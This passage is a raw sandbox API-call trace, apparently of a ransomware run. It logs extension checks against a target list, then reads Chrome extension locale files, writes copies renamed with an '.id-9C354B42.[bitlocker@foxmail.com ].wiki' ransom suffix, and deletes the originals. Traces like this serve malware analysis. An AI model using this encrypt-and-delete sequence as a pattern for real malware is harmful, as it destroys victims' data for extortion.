[0178.754] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.754] lstrlenW (lpString=".pdf") returned 4 [0178.754] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.754] lstrlenW (lpString=".xls") returned 4 [0178.754] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.754] lstrlenW (lpString=".xlsx") returned 5 [0178.754] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.754] lstrlenW (lpString=".ppt") returned 4 [0178.754] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.754] lstrlenW (lpString=".zip") returned 4 [0178.754] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.754] lstrlenW (lpString=".rar") returned 4 [0178.754] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.754] lstrlenW (lpString=".bz2") returned 4 [0178.754] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.754] lstrlenW (lpString=".7z") returned 3 [0178.754] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.755] lstrlenW (lpString=".dbf") returned 4 [0178.755] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.755] lstrlenW (lpString=".1cd") returned 4 [0178.755] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.755] lstrlenW (lpString=".jpg") returned 4 [0178.755] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.755] lstrlenW (lpString=".doc") returned 4 [0178.755] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.755] lstrlenW (lpString=".docx") returned 5 [0178.755] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.755] lstrlenW (lpString=".pdf") returned 4 [0178.755] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.755] lstrlenW (lpString=".xls") returned 4 [0178.755] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.755] lstrlenW (lpString=".xlsx") returned 5 [0178.755] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.755] lstrlenW (lpString=".ppt") returned 4 [0178.755] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.755] lstrlenW (lpString=".zip") returned 4 [0178.755] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.755] lstrlenW (lpString=".rar") returned 4 [0178.755] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.755] lstrlenW (lpString=".bz2") returned 4 [0178.755] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.755] lstrlenW (lpString=".7z") returned 3 [0178.755] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.756] lstrlenW (lpString=".dbf") returned 4 [0178.756] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.756] lstrlenW (lpString=".1cd") returned 4 [0178.756] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 156 [0178.756] lstrlenW (lpString=".jpg") returned 4 [0178.756] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.756] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.756] lstrlenW (lpString="messages.json") returned 13 [0178.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.756] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=708) returned 1 [0178.757] CloseHandle (hObject=0x198) returned 1 [0178.757] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json")) returned 0x2020 [0178.757] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.757] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.757] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0178.757] GetLastError () returned 0x0 [0178.757] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x2c4, lpOverlapped=0x0) returned 1 [0178.759] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0178.760] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.760] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.760] SetEndOfFile (hFile=0x2dc) returned 1 [0178.760] CloseHandle (hObject=0x2dc) returned 1 [0178.760] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.760] SetEndOfFile (hFile=0x198) returned 1 [0178.761] CloseHandle (hObject=0x198) returned 1 [0178.761] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.761] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json")) returned 1 [0178.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.762] lstrlenW (lpString=".doc") returned 4 [0178.762] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.762] lstrlenW (lpString=".docx") returned 5 [0178.762] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.762] lstrlenW (lpString=".pdf") returned 4 [0178.762] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.762] lstrlenW (lpString=".xls") returned 4 [0178.762] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.762] lstrlenW (lpString=".xlsx") returned 5 [0178.762] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.762] lstrlenW (lpString=".ppt") returned 4 [0178.762] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.762] lstrlenW (lpString=".zip") returned 4 [0178.762] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.762] lstrlenW (lpString=".rar") returned 4 [0178.762] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.762] lstrlenW (lpString=".bz2") returned 4 [0178.762] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.762] lstrlenW (lpString=".7z") returned 3 [0178.762] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.763] lstrlenW (lpString=".dbf") returned 4 [0178.763] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.763] lstrlenW (lpString=".1cd") returned 4 [0178.763] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.763] lstrlenW (lpString=".jpg") returned 4 [0178.763] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.763] lstrlenW (lpString=".doc") returned 4 [0178.763] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.763] lstrlenW (lpString=".docx") returned 5 [0178.763] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.763] lstrlenW (lpString=".pdf") returned 4 [0178.763] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.763] lstrlenW (lpString=".xls") returned 4 [0178.763] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.763] lstrlenW (lpString=".xlsx") returned 5 [0178.763] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.763] lstrlenW (lpString=".ppt") returned 4 [0178.763] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.763] lstrlenW (lpString=".zip") returned 4 [0178.763] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.763] lstrlenW (lpString=".rar") returned 4 [0178.763] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.763] lstrlenW (lpString=".bz2") returned 4 [0178.763] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.763] lstrlenW (lpString=".7z") returned 3 [0178.764] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.764] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.764] lstrlenW (lpString=".dbf") returned 4 [0178.764] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.764] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.764] lstrlenW (lpString=".1cd") returned 4 [0178.764] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.764] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 155 [0178.764] lstrlenW (lpString=".jpg") returned 4 [0178.764] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.764] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.764] lstrlenW (lpString="messages.json") returned 13 [0178.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.764] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=941) returned 1 [0178.765] CloseHandle (hObject=0x198) returned 1 [0178.765] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json")) returned 0x2020 [0178.765] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.765] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.765] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0178.765] GetLastError () returned 0x0 [0178.766] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x3ad, lpOverlapped=0x0) returned 1 [0178.767] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0178.768] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.768] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.768] SetEndOfFile (hFile=0x2dc) returned 1 [0178.769] CloseHandle (hObject=0x2dc) returned 1 [0178.769] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.769] SetEndOfFile (hFile=0x198) returned 1 [0178.769] CloseHandle (hObject=0x198) returned 1 [0178.769] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.770] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json")) returned 1 [0178.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.770] lstrlenW (lpString=".doc") returned 4 [0178.770] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.770] lstrlenW (lpString=".docx") returned 5 [0178.770] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.770] lstrlenW (lpString=".pdf") returned 4 [0178.770] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.770] lstrlenW (lpString=".xls") returned 4 [0178.770] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.770] lstrlenW (lpString=".xlsx") returned 5 [0178.770] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.770] lstrlenW (lpString=".ppt") returned 4 [0178.770] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.770] lstrlenW (lpString=".zip") returned 4 [0178.770] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.770] lstrlenW (lpString=".rar") returned 4 [0178.770] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.770] lstrlenW (lpString=".bz2") returned 4 [0178.770] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.771] lstrlenW (lpString=".7z") returned 3 [0178.771] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.771] lstrlenW (lpString=".dbf") returned 4 [0178.771] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.771] lstrlenW (lpString=".1cd") returned 4 [0178.771] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.771] lstrlenW (lpString=".jpg") returned 4 [0178.771] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.771] lstrlenW (lpString=".doc") returned 4 [0178.771] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.771] lstrlenW (lpString=".docx") returned 5 [0178.771] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.771] lstrlenW (lpString=".pdf") returned 4 [0178.771] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.771] lstrlenW (lpString=".xls") returned 4 [0178.771] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.771] lstrlenW (lpString=".xlsx") returned 5 [0178.771] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.771] lstrlenW (lpString=".ppt") returned 4 [0178.771] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 